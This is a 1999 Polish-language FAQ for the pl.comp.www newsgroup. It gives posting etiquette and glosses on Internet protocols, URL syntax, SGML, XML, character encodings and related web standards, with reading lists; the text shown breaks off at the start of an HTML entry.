Ziemek Borowski

ziembor@FAQ-Bot.ZiemBor.Waw.PL http://FAQ-Bot.ZiemBor.Waw.pl/zmb/

1.0.?. Wtorek, 3 sierpnia 1999 roku ,,WWW w Polsce i po polsku'' --- ,,przegląd pytań pospolitych'', lub takich które powinny paść a nie padły ;-) w grupie pl.comp.www z uwzględnieniem zagadnień publikacji elektronicznych wykraczających poza pajęczynę. WWW, HTML, SGML, DHTML, on-line publishing Jeśli nie znalazłeś tu odpowiedzi na swoje pytanie przepraszam... I mam prośbę: jak znajdziesz, prześlij uzupełnienie do odpowiedzi na istniejące pytanie, bądź napisz (wraz z odpowiedzią) nowe. Dokument ten tworzony jest na zasadach ustalonych przez Powszechną Licencję Publiczną GNU w polskim tłumaczeniu. pl.comp.www FAQ Copyright (C) 1996, 1997, 1998, 1999 Ziemek M. Borowski ziembor@FAQ-Bot.ZiemBor.Waw.PL http://FAQ-Bot.ZiemBor.Waw.PL/zmb/ Niniejszy tekst jest oprogramowaniem wolno-dostępnym; możesz go rozprowadzać dalej i/lub modyfikować na warunkach Powszechnej Licencji Publicznej GNU, wydanej przez Fundację Wolno-dostępnego Oprogramowania --- według drugiej wersji tej Licencji. Niniejszy program rozpowszechniany jest z nadzieją, iż będzie on użyteczny --- jednak BEZ JAKIEJKOLWIEK GWARANCJI, nawet domyślnej gwarancji PRZYDATNOŚCI HANDLOWEJ albo PRZYDATNOŚCI DO OKREŚLONYCH ZASTOSOWAŃ. W celu uzyskania bliższych informacji --- Powszechna Licencja Publiczna GNU. Z pewnością wraz z niniejszym programem otrzymałeś też egzemplarz Powszechnej Licencji Publicznej GNU; jeśli nie --- napisz do Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Licencja w polskiej wersji językowej znajduje się pod adresem: http://www.linux.org.pl/linux/licencja-gnu.shtml Dokument ten jest osiągalny za pomocą następujących URLi: w wersji ,,do przeglądania'' źródła (w DocBook 3.0.) Całe FAQ naszpikowane jest odniesieniami do inny źródeł. Chciałbym jednak wyróżnić kilka z nich: The World Wide Web Consortium Leading the Web to its Full Potential... --- prawdziwa kopalnia specyfikacji, komentarzy i opinii na temat technologii pajęczyny. Początkującym (i autorom wszelkich kursów HTMLa ;-) polecam zwłaszcza ``Raggett's 10 minute Guide to HTML'' WebReview.com --- będący zbiorem bardzo ciekawych artykułów na temat praktycznych zastosowań Pajęczyny sieciowy słownik terminologii komputerowej WhatIs --- jeszcze nie spełniający wszystkich moich oczekiwań, ale godny uwagi. ... _ Nie... (ewentualnie możesz szukać w DejaNews ) Ale trzeba uważać: jest tam <META HTTP-EQUIV Content="Expires: Sun Jun 29 13:36:41 MET DST 1961"> i blokada dla robotów (więc nie można ściągnąć całego archiwum ,,do domu''). Nie i bardzo dobrze... Sprzężenie z listą to tylko niepotrzebne kłopoty z polskimi literkami oraz głupie pytania: jak się wypisać? ;-) Można ewentualnie skorzystać z bramki news-mail. Daleki jestem od odsądzania od czci wszystkich, którzy zadają pytania nie konkretne, bądź takie na które odpowiedź znajduje się na drugiej stronie manuala, podręcznika bądź FAQ. Ale proszę... zastanów się, czy to co cię trapi jest rzeczywiście problemem. Być może spotkałeś się już z podobną sytuacją i tylko coś Ci na chwilę rozum zaćmiło :-) przejrzyj dostępną lokalnie dokumentację... (pliki *.htm, *.html, *.hlp, i man * od posiadanych programów, zawartość podkatalogów /usr/doc na Unixach). Po to się ją tworzy. poszukaj FAQ (czyli zbioru najczęściej zadawanych pytań wraz z odpowiedziami) związanego z nurtującymi cię problemami... znajdziesz je pod adresami http://SunSite.ICM.edu.pl/pub/usenet/ lub http://http://www.man.torun.pl/%7Enews/archive/pl.answers/ oraz The Internet FAQ Consortium Sprawdź archiwa: http://www.DejaNews.com/home_ps.shtml i tam wpisując w filtrze grupę: pl.comp.www spytaj lokalnego administratora... chyba, że ma Cię już dość, bądź sam nim jesteś ;-) poszukaj przy pomocy katalogu tematycznego bądź przeszukiwarki Ale pamiętaj, że zadawanie pytań też jest sztuką. Tutaj, w grupie pl.comp.www ograniczymy się do wskazówek raczej technicznych. napisz dokładnie: jaki masz problem... (np. jakiego systemu operacyjnego używasz i z jakim programem (i jaką jego wersją) masz kłopoty). I nie myśl, że istnieją jedynie M$ Windbloze (Lufciki ;-). jeśli szukasz jakiegoś narzędzia, napisz jakie wymagania ma spełniać i co najważniejsze w jakim systemie operacyjnym ma działać... nie zaszkodzi podać gdzie szukałeś, najwyżej inni się czegoś nauczą. pomyśl, czy tematyka Twojego pytania jest dostosowana do tematyki grupy Np. nie pisz o jakimś zasobie nie związanym z TECHNOLOGIĄ World Wide Web tylko dlatego, że znajduje się on w Pajęczynie --- od tego typu ogłoszeń są inne grupy np. pl.internet.nowosci (moderowana), pl.comp.www.nowe-strony (patrz pl.comp.www.nowe-strony FAQ), inna grupa bliżej związana z tematyką witryny, zasobu). Poza tym jeśli naprawdę uważasz, że masz coś ciekawego do powiedzenia to ,,zgłoś się'' w istniejących katalogach sieciowych i usługach wyszukiwawczych... Naprawdę... ogłaszanie się na grupach dyskusyjnych niewiele Ci da... I pamiętaj: to, że ktoś Ci odpowie to tylko i wyłącznie jego dobra wola --- nie masz prawa wymagać więcej. I, proszę, nie obrażaj się, jeśli ktoś Ci odpisze np. RTFM podając jakiegoś URLa) bądź tytuł (zwłaszcza jeśli z ISBNem ;-). Wiele rzeczy.... Na przykład: wysyłanie spamu. wysyłanie plików binarnych (zwłaszcza wielkich i to takich które można by umieścić gdzieś w pajęczynie, bądź anonFTP i podać URL) pytanie po raz enty jak zrobić coś co jest opisane w każdym kursie HTML pisanie, że obowiązującym standardem kodowania polskich liter powinno być ANSI CP-1250 (bo ,,tak jest prościej'', i ,,dla ludzi'') --- choć uczciwie mówiąc, w świetle faktu rejestracji charsetu windows-1250 w IANA jest to może i poprawne (choć nie zalecane)... skarżenie się na jakość darmowych usług i pytania ich dotyczące (od tego jest obsługa tych usług, ew. grupa pl.listserv.polip nie zaś grupa pl.comp.www poświęcona technicznym aspektom technologii informacyjnych). ciągle prośby oceńcie moją stronę będące zakamuflowaną reklamą. I m.in. dlatego piszę to FAQ, aby uniknąć powtarzania zawsze tych samych, nie posuwających do przodu dyskusji, pytań. Oj, wiele... o metody tworzenia grafik jest grupa pl.comp.grafika o sposób ,,łączenia z Internetem'' --- jest grupa pl.comp.networking i grupy poświęcone poszczególnym systemom o problemy związane z MUA (programami pocztowymi) --- od tego jest pl.comp.mail o problemy związane z czytnikami grup dyskusyjnych --- od tego jest pl.news.czytniki o działanie/nie działanie serwerów/serwisów --- są grupy pl.listserv.polip oraz pl.internet.komunikaty --- koniecznie przeczytaj jej FAQ Co to jest: _ W RFC 1462 Internet został zdefiniowany jako: sieć sieci komputerowych oparta na protokołach IP i TCP, UDP oraz ICMP (TCP/IP) zasoby dostępne na komputerach połączonych z siecią (tzw. hostach) społeczność, wspólnota (community) ludzi używających i rozwijających tę sieć Nie jest to więc, jakby niektórzy chcieli ,,taka ikonka na pulpicie'' ani też żadna z dominujących w danej chwili usług sieciowych. Dla niektórych jest to potworna wizja porozumiewania się ludzi za pośrednictwem maszyn. Dla innych jest to przedsionek infostrady czy ogólniej mówiąc społeczeństwa informacyjnego. Standardy: Ogólnie Internet Society Polska Społeczność Internetu Stowarzyszenie Polskich Użytkowników Internetu InterNIC Elementarz Internetu Macieja Uhliga Podstawowe usługi Internetu Tomasza Surmacza Różne pożyteczne dokumenty w/g AGH Wirtualna Akademia --- Katedra Teleinformatyki Wojciech Myszka Narzędzia sieciowe --- jeden z lepszych TECHNICZNYCH przewodników po sieci. EFFu Przewodnik po Internecie (jest także wersja ,,hipertekstowa'') Geneza i rozwój internetu Marka Kuchiaka Brad Templeton ,,11 najczestszych, mylnych pogladow o sieci Internet (oraz USENET)'' Tłumaczenie: Adam Morawiec Network Wizards --- statystyki Internetu Jest próbą zastosowania technologii internetowych z poziomu prezentacji i aplikacji (czyli przede wszystkim HTTP/HTML, poczty elektronicznej i Usenet news) do zastosowań typowych dla sieci lokalnych i firmowych. Sieci intranetowe wspomagane są przez indeksy dokumentów i usługi wyszukiwawcze pozwalające na tworzenie firmowej ,,bazy wiedzy''. (Ma to związek koncepcją odchudzenia stacji roboczych do wszechstronnie zorientowanego (przeglądarka, edytor, poczta) acz odchudzonego klienta i związanym z tym pomysłem na obniżanie kosztów). Choć z drugiej strony cały ten zgiełk wokół Inta- i Extranetów można uznać za propagandowo-marketingowy zgiełk i szukanie naiwnych. grupa pl.comp.intranet IntranetJournal Intranet Reference Site Netscape: Full Service Intranet Extranet --- to ponoć naturalne --- rozwinięcie koncepcji intranetów --- wewnętrznych sieci zbudowanych z wykorzystaniem technik internetowych (przede wszystkim WWW). Gdy firmy łączą intranety połączone z własnymi systemami księgowo-finansowymi i magazynowymi w obszarze danego łańcucha dostaw (kolejny podmiot na drodze wytwarzania danego dobra), to powstaje extranet, wypierając ,,tradycyjnie'' obecne na tym rynku technologie EDI Electronic Data Interchange. Jest to jedna z marketingowych nazw utopii (programu społecznego, ideologii) nazywanej też czasem społeczeństwem informacyjnym, głoszącej że podstawowym towarem staje się wiedza i dostęp do niej. W tak sformułowany program społeczny doskonale wpisuje się Internet i WWW będąc jednym z możliwych mediów przekazu. Michael Sullivan-Trainor Infostrada ReadMe, IDGBooks, ProgramersPress: Warszawa 1995 (ISBN 83-85769-95-1) J. Zieliński. Uzależnienie od Internetu K.Pistol Uzależnienie od Internetu J. Zieliński. Obserwując ruch na infostradzie Paweł Bartuzi FidoNet. Komputerowa sieć wymiany informacji. Studium Socjologiczne Information Society Project Office Unii Europejskiej. Bibliography of Organizational Computer-Mediated Communication The Information Infrastructure Task Force (USA) Dybull --- Reklama w Sieci Internet w liczbach wg agencji reklamowej IDM Tomasz Goban-Klas Społeczeństwo informacyjne. Szanse, zagrożenia, wyzwania Ziemek Borowski ,,Ideologia społeczeństwa informacyjnego'' (lipiec 1996) IP wersja 4 jest to umowną nazwa aktualnie obowiązującego standardu IP (w przeciwieństwie do IP wersja 6). Definiuje on --- w RFC 791 --- protokół komunikacyjny zawodnego przenoszenia połączeń. Każdy z komputerów działających w tym protokole posiada unikalny (w ramach określonej sieci) 32 bitowy adres (podzielony na 4 oktety wyznaczające klasy adresowania). Przydziałem adresów IP w europejskiej części internetu zajmuje się RIPE Douglas E. Comer Sieci komputerowe TCP/IP. ISBN 83-204-2314-7 (tomy 1-3) W. Richard Stevens, Gary R. Wright Biblia TCP/IP 83-87216-24-0 (tomy 1-3) IP wersja 6 jest projektowaną, nową wersją protokołu IP poprawiając jego możliwości o: dłuższe adresy (z 32 bitów w tej chwili, do 128), (jako metoda na wyczerpywanie się adresów IP --- bo daje to 2**128==3.40282366920938e+38 adresów zamiast dotychczasowych 4 294 967 296). zmienny format nagłówków datagramu (bardziej elastyczny ) wsparcie dla rezerwowania zasobów zapewnienie możliwości rozszerzania protokołu, swobodnego dodawania kolejnych opcji bez wykonywania rewolucji. elementy tzw. IPsec czyli wykluczenie części opcji wykorzystywanych do ataków (np. tzw. source routing), opcje szyfrowania pakietów. itp. IPv6 na świecie IPv6 w Polsce TCP --- Transmission Control Protocol --- standard Internetu zdefiniowany w RFC 793 Działający na bazie IP protokół komunikacyjny zapewniający przesyłanie danych niezawodnymi strumieniami: specyfikujący format danych, procedury potwierdzeń dotarcia danych, rozróżniania poszczególnych odbiorców oraz usług przypisanych do TCP. UDP User Datagram Protocol --- standard Internetu opisany w RFC 786 --- jest protokołem komunikacyjnym zawodnego (a więc bez potwierdzeń i retransmisji zgubionych pakietów) bezpołączeniowego dostarczania pakietów wykorzystywanym m.in. przez DNS. lub NFS. Jego bezpołączeniowa natura powoduje trudności z dostarczaniem usług opartych na UDP przez wszelkiego rodzaju ściany ognia. ICMP Internet Control Message Protocol służy (w dużym skrócie) do powiadamiania o błędach. Obejmuje takie komunikaty jak ,,tłumienie nadawcy'' które redukują natężenie transmisji, informacje o trasowaniu i --- najczęściej wykorzystywane, np. przez polecenia ping, mtr, , traceroute, --- ,,prośba o echo'' i ,,odpowiedź z echem''. DNS --- Domain Name System jest rozproszoną, częściowo replikowalną bazą danych służącą informacji o hierarchicznym odwzorowaniu nazw symbolicznych na adresy IP. Umożliwia odwzorowanie dowolnego prawidłowego adresu IP na dowolną (spełniającą wymogi RFC 1034 ) nazwę, niezależnie od fizycznej lokalizacji, praw własności do łącz itp. Jedynym wymogiem jest rejestracja w wyższej hierarchii. Wojciech Myszka Narzędzia sieciowe Opis systemu DNS Piotra Marka DNS Resources Directory FTP czyli File Transfer Protocol jest (nadal, choć coraz bardziej przygrywa walkę z HTTP) podstawowym w sieci Internet protokołem przesyłania plików. Działa na bazie TCP/IP wykorzystując port 21 serwera do kontroli transmisji danych zaś port 20 do transmisji. Do głównych wad istniejących implementacji należą: brak możliwości szyfrowania transmisji (choćby na etapie autentyfikacji w systemie) kanał kontrolny powodujący kłopoty z implementacją filtrów pakietów na routerach Do momentu eksplozji WWW popularne były (i są nadal choć w coraz mniejszym stopniu) anonimowe serwery FTP --- tj. z użytkownikiem o nazwie anonymous lub ftp i hasłem (gdzieniegdzie sprawdzanym) zawierającym adres e-mail --- służące do udostępniania dla wszystkich plików. W tej chwili dorabia się do takich usług interface w HTMLu lub wręcz konwertuje całość na HTML/HTTP. FTP @ WhatIS.com Gopher jest (był) protokołem klient/serwer pozwalającym na rozpowszechnianie informacji w powszechnych/kampusowych systemach informacyjnych (world/campus-wide information system (CWIS)). Powstał na w kwietniu 1991 roku na University of Minnesota Microcomputer, Workstation, Networks Center w celu dystrybucji informacji wewnątrz-wydziałowej. Był pierwszym --- poza (częściowo) Usenet News --- rozpowszechnionym systemem informacyjnym w Sieci integrującym różne protokoły: ftp , telnet , WAIS własne struktury danych z możliwością dostępu do różnych typów danych, tak czysto tekstowych, jak i grafik i danych czysto binarnych (archiwów wszelkiego rodzaju). Odchodzi powoli w zapomnienie (dogorywają jeszcze resztki dawnej jego świetności) z powodu sztywnej, hierarchicznej struktury (gdzie jednym z elementów ścieżki dostępu był typ pliku), niewygodnych metod tworzenia serwisów, braku pełnej ,,multimedialności'' czy wreszcie dlatego, że WWW zyskał większe wsparcie tak producentów jak i środowisk akademickich. Gopher FAQ Gopher home Standardy: protokoły transportu dokumentów UseNet News --- jest siecią dystrybuowanych po całym świecie grup dyskusyjnych opartą na protokołach NNTP i (gdzieniegdzie) UUCP. Zarządzana jest przez grupę ochotników, administratorów którzy poza dozorem własnych węzłów zajmują się zakładaniem nowych grup (a wcześniej przeprowadzaniem głosowania), kasowaniem niechcianych, wysyłanych w wielu kopiach przesyłek reklamowych --- zwanych spamem. Jest to struktura mocno zdecentralizowana, w znaczącym stopniu (w praktyce) wyjęta spod reguł obowiązującego prawa. Dostęp do serwerów udostępniających tę usługę jest bardzo często limitowany przez lokalnych administratorów ponieważ jest to usługa ,,wewnętrzna'', przeznaczona na potrzeby lokalne. Standardy: E-Mail i Usenet UseNet.pl FAQ UseNet2 --- Usenet bez spamu Wais --- Wide Area Information Service jest systemem wyszukiwania informacji w bazach danych na podstawie zdefiniowanych słów kluczowych. Korzysta z rozpowszechnionego w systemach informacji naukowej protokołu Z39.50. Powstał jako wspólny projekt Thinking Machines, Apple Computer, Dow Jones, oraz KPMG Peat Marwick, lecz jest w tej chwili wsypierany jedynie przez twórców darmowych implementacji. CNIDR (Clearinghouse for Networked Information Discovery and Retrieval). firmująca freeWAIS dostępny jako: ftp://ftp.cnidr.org/pub/NIDR.tools/freeWAIS-0.3.tar.Z freeWais Standardy: transport hypertext lub po polsku: hipertekst --- dosłownie ,,nad-tekst'' --- sytuacja powiązania tekstu przy pomocy odnośników, dowiązań, odwołań zaburzającego z jednej strony jego linearną strukturę a z drugiej powodującego powstawanie przez to nowych znaczeń i kontekstów. Dodanie do hipertekstu innych środków przekazu: grafiki, dzwięku, obrazów video tworzy hypermedia. Vanneva Brush w artykule "As We May Think." [w: Atlantic Monthly Lipiec 1945] opisał po raz pierwszy koncepcję hipermediów w formie urządzenia nazwie memex. W dwadzieścia lat później (w 1965 roku) opisując swój projekt o nazwie Xanadu po raz pierwszy użył tego słowa --- w książce Literaly Machines. W 1968 Douglas Engebart zademonstrował pierwszy komputerowy system hipertekstowy nazwany NSL/Augment. Pierwsza praca doktorska o hipertekście powstała w 1986 roku (Randy Trigg), zaś pierwsza konferencja w 1987. W 1992 roku powstała grupa alt.hypertext James Blustein w alt.hypertext FAQ wymienia istniejące dziś systemy hypermedialne: HyperWave , Microcosm , Storyspace , WebPing , WWW , Xanadu . V. Balasubramanian ,,State of the Art Review on Hypermedia Issues And Applications'' Jorn Barger HyperTerrorist's Timeline of Hypertext History alt.hypertext Frequently Asked Questions Scott Stebelman Hypertext and hypermedia: a selected bibliography HyperText @ Eastgate Systems The Electronic Labyrinth W poemacie Samuel Taylor Coleridge, Kubla Khan, występuje magiczne miejsce w pamięci literackiej nazywające się Xanadu . Ted Nelson w swoim projekcie o tej właśnie --- Xanadu --- nazwie postulował stworzenie jednolitego w skali światowej środowiska ,,literackiego'' będącego archiwum dla wszystkiego co napisano bez możliwości usunięcia (za to z kontrolą wersji). Inną istotną cechą projektu Xanadu jest istnienie zwrotnych odnośników, wymagający by każdy element dokumentu posiadał własny unikalny adres. Dzięki temu można rozwiązać problem cytowania: zamiast przepisywać mozolnie pewien fragment, po prostu dawało się do niego szczegółowy odnośnik, a baza danych (odseparowana od interface użytkownika) troszczyła się o indeksy cytowań, rozliczanie tantiem i innych profitów wynikających z praw autorskich. Wśród znanych (choćby częściowych) implementacji wymienić można m.in. HyperWave Xanadu FAQ Project Xanadu: 3020 Bridgeway #295, Sausalito CA 94965 USA. WWW --- World Wide Web zwana inaczej Pajęczyną, Webem, Wielkim Światowym Czekaniem (World Wide Wait) jest hipertekstowym, multimedialnym, sieciowym (TCP/IP) systemem informacyjnym opartym na publicznie dostępnych, otwartych standardach IETF, W3C i ISO. Powstał w początku lat dziewięćdziesiątych w CERN jako system dostępu do danych, informacji (w tym graficznych) w hererogenicznym środowisku dużej organizacji naukowej. Szybko jednak przekroczył (podobnie jak Internet) granice środowiska naukowego, zyskując zainteresowanie przemysłu z czasem przenosząc standardu otwarte do tzw. intranetów. World Wide Web Consortium WWW FAQ Boutella Entering the World-Wide Web: A Guide to Cyberspace Kevina Hungesa IETF Internet Engenering Task Force grupa osób fizycznych skupiona w celu rozwiązywania bieżących --- w przeciwieństwie do nastawionego na działanie długofalowe Internet Research Task Force --- problemów Sieci, tworzenia i zatwierdzania specyfikacji. 1718 I T. IETF Secretariat, G. Malkin, The Tao of IETF - A Guide for New Attendees of the Internet Engineering Task Force 11/23/1994. (Liczba stron: 23) (FYI 17) (Obsoletes RFC1539) W3C --- World Wide Web jest przemysłowym konsorcjum zarządzanym przez Laboratory for Computer Science at MIT, INRIA oraz Keio University ze wsparciem DARPA i Komisji Europejskiej powołanym do kształtowania standardów, specyfikacji i wizji rozwoju pajęczyny. Skupia (w przeciwieństwie do innych ciał (takich jak np. IETF) nie osoby fizyczne, a instytucje, tak świata nauki, jak i firmy. Wśród jego członków znajdują się niemal wszystkie znaczące firmy przemysłu programistycznego: począwszy od duetu Microsoft i Netscape poprzez firmy tradycyjnie zajmujące się stosowanymi w pajęczynie technologiami (np. SoftQuad i Abotext), przedstawicieli przemysłu (jak np. Boeing) do wydawców (tak tych ,,papierowych'' jak O`Reily & Assoc. czy Addison Wesley jak i elektronicznych jak choćby Canal+) czy stowarzyszenia twórców WWW takie jak HTML Writers Guild. URI --- Uniform Resource Identificator uogólnioną składnią przeznaczoną do definiowania zasobów w sieci. Do podstawowych założeń URI (jako specyficznego języka definiowania lokalizacji) należało: rozszerzalność o nowe protokoły kompletność w momencie tworzenia możliwość wydruku/wiernego wyświetlenia na 7bit terminalach URI składa się z nazwy schematu i ścieżki dostępu/części specyficznej dla schematu Jest najbardziej ogólnym sposobem adresowania zwierającym w sobie tak klasyczne URLe jak i identyfikatory wiadomości w poczcie (mid: --- odpowiednik Messsage-ID z SMTP). Nie jest przy tym dla mnie jasne czy istnieje jakaś wyraźna różnica pojęciowa między URL a URI. W dokumentach technicznych W3C używa się zamiennie obu terminów tak jakby w zależności od przyzwyczajeń piszącego. http://www.w3.org/Addressing/ Standardy: URL From: chomik@piast.t19.ds.pwr.wroc.pl (Marcin 'Chomik' Nowak) From: pteczyn@hum.amu.edu.pl (Piotr Tęczyński) URL -- Uniform Resource Locator URL składa się ze nazwy schematu i części dopełniającej (właściwego adresu): URL == scheme:scheme-specific-part Czyli URL składa się ze schematu, nazwy protokołu (a właściwie odpowiedniego mnemonika) oraz z części specyficznej dla danego schematu. Przy czym tę część charakterystyczną można rozbić na następujące części: użytkownik hasło adresu węzła sieci (czyli nazwy hosta, komputera w sieci) portu przypisanego danej usłudze standardowe numery portów opisane są w STD 1 ścieżki do pliku (może być wirtualnej czyli określanej w ustawieniach serwera, nie zaś istniejącej w systemie plików) parametrów pliku (wymienianych po znaku " ; " - np. typ pliku w FTP) opcji zapytania (przekazywanych jako parametry do programów, a wymienianych po znaku zapytania " ? ") fragmentu, węzła w pliku wymienianego po znaku ,,hasha'' " # ") czyli: protokół://użytkownik:hasło@host:nr_portu/ścieżka;parametr_obiektu?zapytanie#węzeł W nazwie usługi (schemacie) mogą być użyte litery łacińskie (a-z), cyfry, znak plusa (+), kropki (.) i przeniesienia (-). Przy czym program powinien dokonywać translacji z napisu wielkimi literami do małych. Widać więc, że w bezpośrednio w URLu mogą być użyte jedynie znaki ze alfanumeryczne z zestawu ASCII (dostępność wprowadzania) (czyli (a-Z)(0-9) a także znaki znaków w notacji szesnastkowej np. %7E znaczy %E7 czyli tyldę stosowaną często jako skrót dla kont użytkowników). Dostępne usługi opatrzone są następującymi mnemonikami: file: odnośnik do zasobów lokalnych komputera (nie należy chyba używać w sieci :-) (zalecane jeśli chcemy pokazać jakiś plik który musi istnieć na komputerze klienta (np. file://localhost/etc/resolv.conf ftp: odnośnik do zasobów dostępnych za pomocą protokołu FTP, z wariantem ftp://użytkownik@... lub ftp://użytkownik:hasło@... (choć tej ostatniej wersji zdecydowanie nie polecam). gopher: odnośnik do zasobów gophera (standardowy port: 70) http: zasób obsługiwany przez serwer HTTP (HTTPd) (standardowy port: 80) mailto: odnośnik powodujący wysłanie listu pod podany adres (bez // po dwukropku!!!). Dla wyspecyfikowania tematu listu można spróbować dodać do komendy A atrybut title="Tytuł listu" albo próbować użyć (co może w części przeglądarek spowodować kłopoty, znakomicie ułatwiając życie większości) URLa w postaci: mailto:user@host.in.my.org?Subject=A%20to%20moj%20przykladowy%20temat (ale gorąco odradzam). news: odnośnik powodujący uruchomienie przeglądarki USENETU (news) używając domyślnego serwera, i podanej grupy (ew. określony artykuł wg identyfikatora). telnet: odnośnik do zdalnego komputera, zazwyczaj używając terminala VT100 (bez // po dwukropku!!!) (standardowy port: 23) tn3270: odnośnik do zdalnego komputera IBM (np. 3090 na plearn.edu.pl) terminala IBM-3270 (bez // po dwukropku!!!) wais: odwołanie do systemu wyszukiwawczego WAIS newsrc: odnośnik do określonego pliku . newsrc (jak rozumiem lokalnego) nntp: określa inny niż domyślnie używany serwer newsów (port 119), a także może określać daną grupę/wiadomość w/g wyspecyfikowanego Message-ID: Adres komputera może być podany tak przy użyciu nazwy zdefiniowanej w DNS jak i jako numer IP. Numer portu o ile standardowy --- opisany w odpowiednim RFC -- STD 2 może być pominięty. Ścieżka dostępu do pliku może kończyć się na nazwie katalogu (o ile w katalogu tym jest (zdefiniowany w ustawieniach serwera) plik ,,domyślny'' (zwykle o nazwie: index.html, index.htm lub default.htm) jednak wtedy (aby nieco przyśpieszyć operacje --- podwójne odwoływanie się serwera najpierw do pliku, a potem do katalogu, wraz z generowanie przez serwer odpowiedzi 301 Moved permanently Location: http://www.foo.bar:80/dir/ nie rozpoznawanej przez niektóre stare przeglądarki). warto zakończyć ścieżkę znakiem / (tzw. slash, ciach). Standardy: URL Beginner's Guide to HTML (Marka Andreessena) URL Schemes Supported in Lynx URN --- Uniform Resource Name jest projektowany do serwowania trwałych, niezależnych od lokalizacji identyfikatorów obiektów w Sieci i łatwego korelowania takiej pozycji z innymi schematami adresowania. Niestety z powodu uciążliwości potencjalnej realizacji (wymagana by była duża niezależna od lokalizacji baza danych itp) nie stosowany w praktyce. Jedną z nielicznych istniejących implementacji są NetWords Standardy: URL NetWord SGML --- Standard Generalized Markup Language jest meta-językiem --- opisanym w międzynarodowym standardzie (ISO 8879:1986) służącym do projektowania opisu dokumentów według określonego zapotrzebowania informacyjnego z użyciem dowolnie dobranego zestawu znaczników i ich składni. Zastosowaniami SGML są między innymi LinuxDoc DocBook TEI HTML Standardy: SGML Rozdział: XML i SGML Charles F. Goldfarb, Charles Goldfarb The SGML Handbook 663 strony, Claredon Pr, luty 1991, ISBN: 0198537379, (cena w Amazon $99) SGML HomePage (SIL) The Whirlwind guide to SGML tools Getting Started with SGML (OASIS) SGML Introduction -- Paul Prescod g1 Understanding the SGML declaration (Omnimark) Gentle Introduction to SGML (TEI) SGML in Poland Rafała Księżyka (z WN PWN) Litterae. Dokumenty Elektroniczne s.c. (polska firma produkująca m.in. ,,Edytor Sterowany Szablonem'' a dostosowany do każdego DTD). comp.text.sgml sgml@camk.edu.pl polskojęzyczna lista dyskusyjna poświęcona zastosowaniom SGMLa Laboratorium hipertekstu: Precedura kontra struktura w numerze 1. ,,Nowe Media'' DSSSL</></> czyli Document Style Semantics and Specification Language</></> jest specyfikacją służącą formatowaniu dokumentów SGML. Można w ten sposób rozdzielić ,,znaczeniowe'' ,,tagowanie'' tekstu, od projektowania jego wyglądu. CSS ISO/IEC 10179:1996 Information technology --- Processing languages --- Document Style Semantics and Specification Language (DSSSL) @ Novell DSSSL Tutorial Paul Prescod (DSSSL) JADE J. Clarka --- dostępny na zasadach public domain parser DSSSL. Bert Bos' listing of historical SGML and HTML style proposals ISO-8859-x jest zestawem norm międzynarodowych (ISO) definiujących 8 bitowe (256 pozycji w każdym z zestawów wyjąwszy obszar znaków kontrolnych). Jego stosowanie w Sieci znajduje szczególne usankcjonowanie poprzez bezpośrednie zalecenie stosowania w dokumentach definiujących MIME. W wypadku polski niemal literalnym odpowiedznikiem normy ISO jest PN-93 T-42118 International Standard -- Information Processing -- 8-bit Single-Byte Coded Graphic Character Sets Part 1: Latin Alphabet No. 1, ISO 8859-1:1987, 1st ed. Part 2: Latin Alphabet No. 2, ISO 8859-2:1987, 1st ed. Part 3: Latin Alphabet No. 3, ISO 8859-3:1988, 1st ed. Part 4: Latin Alphabet No. 4, ISO 8859-4:1988, 1st ed. Part 5: Latin/Cyrillic Alphabet, ISO 8859-5:1988, 1st ed. Part 6: Latin/Arabic Alphabet, ISO 8859-6:1987, 1st ed. Part 7: Latin/Greek Alphabet, ISO 8859-7:1987, 1st ed. Part 8: Latin/Hebrew Alphabet, ISO 8859-8:1988, 1st ed. Part 9: Latin Alphabet No. 5, ISO/IEC 8859-9:1989, 1st ed. International Standard -- Information Technology -- 8-bit Single-Byte Coded Graphic Character Sets Part 10: Latin Alphabet No. 6, ISO/IEC 8859-10:1992, 1st ed. Unicode dwubajtowym podzbiorem 4 bajtowego standardu ISO/IEC 10646 (czyli 16 bitowy) (z przeciwieństwie do powszechnie dziś stosowanych 8 bitowych) systemem kodowania znaków diakrytycznych mającym umożliwić używanie w ramach jednego zestawu znaków wielu różnych zestawów. Niektóre nacje pokładają w nim duże nadzieje (nareszcie narzucony standard wybawi nas od 18 ,,standardów''), inne nie wiedzieć czemu ignorują... ;-)))) A poważnie: Unicode jest w tej chwili obecny raczej w wewnętrznych (jądrze czy jakoś tak) tablicach kodowania w Linuksie, ponoć w M$ NT, ale jeszcze na tereny pajęczyny nie wkroczyło (głównie z powodu słabej kompatybilności z innymi normami typu ASCII i pochodne). Włodzimierz Wypych ,,Cyfrowy karakter --- krótka historia kodowania znaków'' [w:] ,,Nowe Media'' 2/98 Ogonki w Unikodzie --- Piotr Trzcionkowski Standardy: Unicode Unicode Consortium grupa pl.comp.ogonki grupa comp.text The Unicode Standard Ver. 2.0 The Unicode Consortium Addison Wesley DevelopersPress (ISBN 0-201-48395-9) ISO/IEC 10646 --- ISO International Organisation for Standardization ISO/IEC 10646-1993 (E). Information Technology --- Universal Multiple-Octet Coded Charachter Set (UCS) --- Part 1: Architecture and Basic Multilingual Pland. [Geneva] XML --- eXtensible Markup Language jest uproszczoną specyfikacją SGMLa (wykluczającą mniej przydane/trudniejsze w implementacji elementy specyfikacji). Wbrew wielu doniesieniom prasowym nie ma służyć do zastąpienia HTMLa jako formatu reprezentacji dokumentów. Ma raczej tworzyć przestrzeń do łatwiejszego składowania informacji, do tworzenia funkcjonalnych rozszerzeń pajęczyny w nowych obszarach. umożliwiającą tworzenie i dodawanie własnych znaczników do dokumentów. Nie ma na celu zastąpienia ani SGMLa ani HTML. Jest (ma być) raczej etapem pośrednim --- rozszerzeniem możliwości o tworzone niemal ad hoc zestawy znaczników, często nawet bez etapu pisania DTD. XML Homepage Robina Covera XML.com W3C XML Working Draft grupa comp.text.xml XML @ textuality.com Peter Flynn XML FAQ XSL --- eXtensible Style Language jest zaproponowanym przez Abortex, INSO i Microsoft językiem formatowania danych XML opartym na DSSSL i XML oraz (dla zachowania wstecznej zgodności) CSS1. XSL będzie pozwalał na manipulowanie formatowaniem, wyglądem dokumentów XML (również (wraz z DOM) przy pomocy rozmaitych języków skryptowych wykonywanych po stronie klienta) w bardzo szerokim stopniu, włącznie z operacjami tradycyjnie wykonywanymi przez preprocesory (takimi jak np. sortowanie alfabetyczne list). XSL @ Microsoft Norman Walsh XSL Poster from SGML/XML'97 An Introduction to XSL by Henry Thompson Jeremie Tech Extensible Style Sheets JumpStart HTML --- 